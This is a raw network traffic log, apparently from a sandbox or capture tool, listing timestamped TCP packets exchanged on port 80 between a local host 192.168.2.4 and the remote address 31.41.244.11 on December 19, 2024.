Dec 19, 2024 14:10:19.884058952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.884111881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.885171890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.885215998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.885286093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.885333061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.886830091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.886883974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.887137890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.887197018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.889010906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.889070988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.889147043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.889204979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.890382051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.890433073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.890510082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.890561104 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.891513109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.891565084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.891633987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.891678095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.893126965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.893193960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.893241882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.893241882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.894311905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.894386053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.894412994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.894429922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.895654917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.895694017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.895733118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.897018909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.897068024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.897083044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.897105932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.897151947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.898436069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.898483992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.898596048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.898642063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.899472952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.899525881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.899559975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.899606943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.900729895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.900774956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.900863886 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.900908947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.902028084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.902076006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.902198076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.902245998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.903353930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.903443098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.903449059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.903501987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.904676914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.904731989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.904778957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.904825926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.906059980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.906109095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.906193018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.906240940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.908039093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.908104897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.908149004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.908194065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.908830881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.908880949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.908926964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.908972979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.909919024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.909980059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.910018921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.910064936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.911180019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.911242008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.911247015 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.911294937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.912456989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.912507057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.912544966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.912591934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.913826942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.913914919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.913949013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.913997889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.915038109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.915087938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.915115118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.915132046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.916251898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.916301966 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.916384935 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.916434050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.917498112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.917546034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.917604923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.917654991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.919008970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.919064045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.919150114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.919200897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.920090914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.920140982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.920171022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.920214891 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.921339035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.921384096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.921437025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.921483040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.922796011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.922813892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.922852993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.922889948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.924310923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.924365997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.924390078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.924470901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.925506115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.925578117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.042866945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.042933941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.042979956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.043015957 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.043301105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.043354034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.043426991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.043473005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.045206070 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.045253992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.045263052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.045274973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.045310020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.045403957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.045452118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.046175957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.046216965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.046339035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.046380997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.047225952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.047276974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.047348976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.047386885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.048525095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.048573017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.048608065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.048679113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.048809052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.048860073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.048911095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.048965931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.049688101 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.049731016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.049752951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.049793959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.050822973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.050868988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.050972939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.051018000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.051450968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.051491022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.051573992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.051618099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.052388906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.052434921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.052493095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.052539110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.053328991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.053376913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.053925037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.053972006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.056641102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056695938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.056708097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056720972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056751013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.056943893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056956053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056968927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.056986094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.057010889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.057035923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.057578087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.057622910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.057848930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.057893991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.058002949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.058048010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.058756113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.058798075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.058953047 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.058996916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.059633017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.059679985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.059735060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.059773922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.060605049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.060652018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.060806036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.060852051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.061511993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.061556101 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.061649084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.061697006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.062361956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.062406063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.062490940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.062532902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.063261986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.063302994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.063424110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.063472033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.064146042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.064196110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.064234018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.064281940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.065063953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.065102100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.065412998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.065488100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.065938950 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.065987110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.066112041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.066155910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.066917896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.066967010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.067063093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.067114115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.067764997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.067823887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.068157911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.068202019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.068675041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.068766117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.068802118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.068846941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.069571972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.069618940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.069705009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.069749117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.070543051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.070580006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.070859909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.070904016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.071419954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.071465969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.071543932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.071589947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.072326899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.072381973 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.072463036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.072506905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.073163033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.073226929 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.073811054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.073854923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.074516058 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.074541092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.074567080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.074598074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.075196981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.075243950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.075282097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.075325012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.075911045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.075957060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.076359034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.076404095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.076913118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.076965094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.077042103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.077095032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.077712059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.077754974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.077837944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.077877045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.078646898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.078748941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.078772068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.078815937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.079638958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.079680920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.079802990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.079845905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.080498934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.080540895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.080606937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.080681086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.081378937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.081442118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.081666946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.081715107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.082263947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.082303047 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.082417965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.082462072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.083389044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.083440065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.083473921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.083520889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.084072113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.084112883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.084197998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.084243059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.085004091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.085046053 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.085134983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.085174084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.085894108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.085946083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.086164951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.086210012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.086766005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.086805105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.086865902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.086910963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.087716103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.087762117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.087775946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.087820053 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.088562965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.088608027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.088660955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.088711023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.089593887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.089639902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.089797974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.089852095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.090353966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.090400934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.241158962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241215944 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.241322041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241336107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241374016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.241480112 CET	80	49775	31.41.244.11	192.168.2.4
